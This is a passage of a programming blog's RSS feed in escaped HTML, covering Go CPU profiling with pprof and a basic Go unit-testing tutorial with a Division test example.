&lt;span style=&#34;color:#ff9f43&#34;&gt;690&lt;/span&gt;ms, &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; of &lt;span style=&#34;color:#ff9f43&#34;&gt;690&lt;/span&gt;ms total&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      flat flat&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   sum&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;        cum cum&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;     &lt;span style=&#34;color:#ff9f43&#34;&gt;680&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;      &lt;span style=&#34;color:#ff9f43&#34;&gt;680&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  _&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;home&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;Programacion&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;goTesting&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing.Fibonacci&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.epollwait&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;      &lt;span style=&#34;color:#ff9f43&#34;&gt;680&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  _&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;home&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;Programacion&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;goTesting&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing.TestFibonacci&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.findrunnable&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.mcall&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.netpoll&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.park_m&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;       &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;1.45&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  runtime.schedule&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;   &lt;span style=&#34;color:#ff9f43&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;      &lt;span style=&#34;color:#ff9f43&#34;&gt;680&lt;/span&gt;ms &lt;span style=&#34;color:#ff9f43&#34;&gt;98.55&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;  testing.tRunner&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Within the pprof terminal it is possible to inspect the average execution time of each line of a function, using:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;list &amp;lt;nombre_funcion&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After executing the command a list will be generated where we can see each function broken down line by line, along with its impact.&lt;/p&gt;&#xA;&lt;p&gt;You have probably noticed that most of the time is consumed by the recursive part of Fibonacci.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoListProfile.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoListProfile.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Results of the list profiling command in go showing the impact of each line of code.&#34; width=&#34;1204&#34; height=&#34;241&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;export-of-results&#34;&gt;Export of results&lt;/h3&gt;&#xA;&lt;p&gt;In addition to console results, we can also visualize the results, in a more understandable way using the &lt;em&gt;web&lt;/em&gt; command, which creates a small schematic accessible from the browser.&lt;/p&gt;&#xA;&lt;p&gt;Each box represents an individual function and the lines indicate the order in which the functions call each other.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoWebProfile.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoWebProfile.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Result of the profiling web command in go. The fibonacci function is shown in large and red&#34; width=&#34;1002&#34; height=&#34;806&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;As an optional parameter we can pass the name of a function and go will filter the results.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(pprof) web &amp;lt;funcion&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoWebProfileFunction.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/go/go-profiling-or-basic-profiling-of-cpu-usage/images/GoWebProfileFunction.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Web command allows to isolate results by function&#34; width=&#34;915&#34; height=&#34;519&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;The schematic generated by the &lt;em&gt;web&lt;/em&gt; command can be exported to a pdf with the &lt;em&gt;pdf&lt;/em&gt; command.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(pprof) pdf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;other-profiling-resources&#34;&gt;Other profiling resources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://go.dev/blog/pprof&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Go&amp;rsquo;s official documentation&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.instana.com/blog/go-profiler-internals/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Go profiler internals&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.youtube.com/watch?v=nok0aYiGiYA&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;GopherCon 2019: Dave Cheney - Two programs in go, three profiling techniques&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;In addition to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/&#34;&gt;unit test testing and coverage measurement in go&lt;/a&gt;&#xA;, this programming language is capable of profiling the efficiency of the code by analyzing it in a very detailed way. This is quite useful to find bottlenecks or very expensive parts of the code, which are called numerous times or whose performance can be improved.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-go-profiling-work-internally-in-gnulinux&#34;&gt;How does Go profiling work internally in GNU/Linux?&lt;/h2&gt;&#xA;&lt;p&gt;GNU/Linux, more specifically GNU, has an alarm signal called &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.gnu.org/software/libc/manual/html_node/Alarm-Signals.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;SIGPROF&lt;/a&gt;&#xA;, this signal warns when a timer finishes measuring CPU usage and interrupts code execution.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: basic testing and coverage</title>
      <link>https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/</link>
      <pubDate>Wed, 09 Feb 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/go/go-basic-testing-and-coverage/</guid>
      
      <category>go</category>
      
      <category>testing</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Go already has a testing module in its standard library that is ready for our use, we just need to import it and use it.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/en/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    Hey! did you know that I wrote a completely Free Go programming language tutorial?, click here to read it it&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;testing-preparation-in-go&#34;&gt;Testing preparation in go&lt;/h2&gt;&#xA;&lt;p&gt;For the tests to be carried out we need:&lt;/p&gt;&#xA;&lt;p&gt;A file ending in _&lt;em&gt;test.go&lt;/em&gt; * A file ending in _&lt;em&gt;test.go&lt;/em&gt; * Run the command &lt;em&gt;go test&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Run the &lt;em&gt;go test&lt;/em&gt; command&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── go.mod&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;└── testing&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ├── main.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    └── main_test.go&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; directory, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; files&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Consider that, if you are going to &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/go/go-package-import-and-module-management/&#34;&gt;assign a name to your package&lt;/a&gt;&#xA;&lt;strong&gt;, you should never name it &lt;em&gt;testing&lt;/em&gt;&lt;/strong&gt;. Why? If you do, go will confuse its &lt;em&gt;testing&lt;/em&gt; package with yours, returning those incorrect results.&lt;/p&gt;&#xA;&lt;p&gt;To create the tests, inside the &lt;em&gt;testing/main_test.go&lt;/em&gt; file, we need a function that receives as argument our testing package with the destructuring character.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;We will compare the result using an if, or whatever we want and, &lt;strong&gt;if the test fails, we will call the &lt;em&gt;Errorf&lt;/em&gt;&lt;/strong&gt; method of the &lt;em&gt;testing&lt;/em&gt; module.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;testing&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;TestDivision&lt;/span&gt;(t &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;testing.T) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Division&lt;/span&gt;(&lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; total &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        t.&lt;span style=&#34;color:#57c7ff&#34;&gt;Errorf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;División incorrecta, obtuvimos %d pero se esperaba %d&amp;#34;&lt;/span&gt;, total, &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;It is not necessary that the functions to be tested are inside the testing file, in this case I placed them inside &lt;em&gt;testing/main.go&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;package&lt;/span&gt; main&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Division&lt;/span&gt;(a &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;, b &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; a &lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt; b&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://namecheap.pxf.io/c/4085764/890711/5618&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;//a.impactradius-go.com/display-ad/5618-890711&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://namecheap.pxf.io/i/4085764/890711/5618&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;    .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;execute-tests&#34;&gt;Execute tests&lt;/h2&gt;&#xA;&lt;p&gt;To run the tests we need to find ourselves inside the directory where our files ending in _&lt;em&gt;test.go&lt;/em&gt; are located and run the &lt;em&gt;go test&lt;/em&gt; command. If the test passes we will get the PASS message.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cd testing&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; test&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PASS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok main&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing &lt;span style=&#34;color:#ff9f43&#34;&gt;0.001&lt;/span&gt;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 